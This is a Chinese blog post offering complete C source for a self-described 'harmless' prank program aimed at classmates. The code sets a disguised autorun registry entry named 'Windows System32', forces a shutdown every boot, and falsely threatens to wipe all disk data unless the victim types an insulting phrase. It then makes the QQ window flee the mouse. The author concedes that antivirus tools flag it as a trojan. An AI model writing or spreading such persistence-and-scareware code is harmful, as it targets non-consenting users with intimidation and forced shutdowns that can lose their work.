恶作剧病毒集大成最终版(无危害)

本文介绍了一个恶搞程序,它通过添加到注册表实现开机自启,每60秒会关机,除非用户输入特定指令。程序还利用QQ进行鼠标躲避游戏,旨在娱乐而非恶意攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

该程序会被安全系统认为是木马并隔离,只适用于和同学开玩笑

 

该病毒功能包括3部分

1,添加到注册表,开机自启。

2,运行后60秒关机,除非输入指令。

3,让对方QQ躲避对方鼠标30次

#define _CRT_SECURE_NO_DEPRECATE
#include<string.h>//strcmp的库函数
#include<stdio.h>
#include<windows.h>//Windows系统的接口winAPI
#include<time.h>//生成随机数
#include<stdlib.h>//system的库函数,等
//在项目,属性中修改配置属性的字符集为多字节字符集
int main()
{
    char cxlujin[100];//定义个数组存放程序的地址
    GetModuleFileName(NULL, cxlujin, sizeof(cxlujin));//查询程序地址(放到cxlujin )
 
    char s[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//定义字符串为注册表开机自启的路径
    HKEY hkey;//定义一个注册表的类
    RegOpenKey(HKEY_CURRENT_USER, s, &hkey);//打开注册表(打开该注册表,按cxlujin路径,保存到hkey)
    RegSetValueEx(hkey,"Windows System32", 0, REG_SZ,
        (unsigned char*)cxlujin, 250);

    //设置注册表(设置那个注册表,修改该注册表名称,0,注册表类型 ,(强制转换)程序路径,大小)
    
    char mima[20] = { 0 };
    printf("(◣ω◢)\n你的电脑被\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学{{|└(>o< )┘|}}\n植入了病毒!!!\n");//给对方造成心理压力
    printf("恐惧吧\n感慨吧\n臣服吧\n吓得屁滚尿流吧\n面对如此牛逼的存在你唯一需要做的就是按他说的去做(*Δ*)!\n");
    while (1)//对方输错可以继续输入
    {
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");//警告
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
        system("shutdown -s -t 60");//system可以对系统进行操作,shutdown是windows的关机指令-s-t是延时设置
        printf("重要的事情我说了5遍!(▼皿▼#)\n害怕吧\n不知所措吧\n忙着关闭电源吧\n");//提示
        printf("这些都没有用的\n但是仁慈的\n光辉的\n做人留一线的\n掌握命运的\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学\n");
        printf("给了你一个拯救你电脑的机会(●—●)\n");
        printf("你只需要输入一句简简单单的话\n就可以挽救着一切\n立即输入(目光看向这里╰(‵□′)╯ )\n我是傻逼小涵牛逼\n否则就等着你的电脑关机并删掉你所有的数据吧\n啊哈哈哈哈哈\n一切取决与你 ,你还有不到60秒\n");
        scanf("%s", mima);//数组不用取地址符
        if (strcmp(mima,"我是傻逼小涵牛逼") == 0)//判断是否正确输入
        {
            printf("输入正确\n");//正确反馈
            break;//跳出循环
        }

    }
    system("shutdown -a");//同上微软取消关机指令
    printf("很好,你诚恳的态度得到了小涵同学的认可,所以他放过了你\n");//反馈

    int i = 1;

    srand((unsigned int)time(NULL));//随机数总值

    HWND qqhwnd;// 定义一个窗口句柄

    qqhwnd = FindWindow("TXGuiFoundation", "QQ");//寻找窗口句柄,使用类名称和标题

    POINT pt;//定义一个点

    RECT rect;//定义一个矩形


    while (i <= 30)//多次调戏

    {

        GetCursorPos(&pt);//获取光标点(位置)放到pt中

        GetWindowRect(qqhwnd, &rect); //qq窗口的坐标保存到rect

        if (pt.x >= rect.left && pt.x <= rect.right &&

            pt.y >= rect.top && pt.y <= rect.bottom)//判断光标是否在qq窗口中

        {

            MoveWindow(qqhwnd, //移动那个窗口

                rand() % 1520, rand() % 680,      //移动到哪里去    //屏幕1920*1080//1920-300=1620//

                400, 400,        //窗口大小

                true);           //是否刷新
            i++;

        }


    }


    printf("结束");
    return 0;

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值